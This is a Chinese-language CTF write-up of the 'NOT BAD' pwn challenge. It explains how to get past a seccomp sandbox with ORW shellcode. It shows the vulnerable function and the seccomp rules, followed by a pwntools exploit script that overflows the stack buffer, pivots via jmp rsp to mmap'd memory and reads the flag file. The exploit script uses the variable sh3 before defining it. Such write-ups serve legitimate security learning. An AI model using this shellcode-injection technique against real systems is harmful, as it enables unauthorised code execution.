沙盒填坑基础 改天上堆题的orw补坑
概述 例题buu 极客大挑战 NOT BAD
什么是orw?
所谓orw就是open read write 打开flag 写入flag 输出flag
大概思路 这种题都会mmap一段内存在栈上
关于mmap如下
我们先用read让可以利用的变量结合上汇编语言跳转到mmap的地方
然后去写入我们的orw 就可以得到flag了QWQ
详解 直冲漏洞函数
很显然可以溢出0x10,但是无论是栈迁移还是泄露libc都是不可能的太小了
但是我们可以去进行orw,先进行沙箱检测
1 2 3 4 5 6 7 8 int sub_400A16() { char buf[32]; // [rsp+0h] [rbp-20h] BYREF puts("Easy shellcode, have fun!"); read(0, buf, 0x38uLL); return puts("Baddd! Focu5 me! Baddd! Baddd!"); }
很好orw权限都开了没问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 q@ubuntu:~$ seccomp-tools dump ./not line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009 0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009 0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL
先上exp,然后细说
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *io=process('./not' ) context.log_level='debug' context.arch='amd64' jmp_rsp=0x400a01 mmap_place=0x123000 io.recvuntil('have fun!\n' ) sh3+=asm(shellcraft.open ('./flag' )) sh3+=asm(shellcraft.read(3 ,mmap_place+0x300 ,0x100 )) sh3+=asm(shellcraft.write(1 ,mmap_place+0x300 ,0x100 )) sh1=asm(shellcraft.read(0 ,mmap_place,500 ))+asm("mov rax,0x123000;call rax" ) sh1=sh1.ljust(40 ,'\x00' ) sh1+=p64(jmp_rsp) sh1+=asm("sub rsp,0x30;jmp rsp" ) io.sendline(sh1) sleep(1 ) io.sendline(sh3) io.interactive()
sh1非常好理解就是,开头40个\x00就是单纯的填充到ebp,然后利用shellcraft函数去利用read函数进行mmap的跳转
跳转用的汇编就是后面asm里的汇编语言
asm(“sub rsp,0x30;jmp rsp”)为什么是0x30?
因为rsp-0x30就是buf,咋看的?来看ida
buf距离end of stack variables共计0x30
1 2 3 4 5 -0000000000000020 buf db 32 dup(?) +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?) +0000000000000010 +0000000000000010 ; end of stack variables
ok继续看,为什么是jmp rsp?
如果直接栈溢出,想要一溢出就执行shellcode是不可行的。要么使用call,要么使用像这里的jmp rsp,要么把shellcode的起始地址 写到溢出的位置。
我们还要跳转到rsp指针去让他执行里面内容才可以
接着看关键的sh3构造orw
打开open flag这个没什么好说的
然后read这里必须好好讲讲
mmap_place地址多少?一般程序有注释,也可以gdb vmmap
1 asm(shellcraft.read(3 ,mmap_place+0x300 ,0x100 ))
vmmap如下,这段空间大小0x1000,也就是说read里面读取到哪里都无所谓反正mmap_place+x<=max_place就可以,后面那个0x100是读取大小
1 2 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x123000 0x124000 -wxp 1000 0
划重点!!!!!read()函数第一个变量 fd 是文件描述符
write也是一样的第一个参数
如下图我们可以知道对于文件描述符0-2都是保留的用于缓冲区
我们第一个打开文件的文件描述符必定是3
第二个是4
以此类推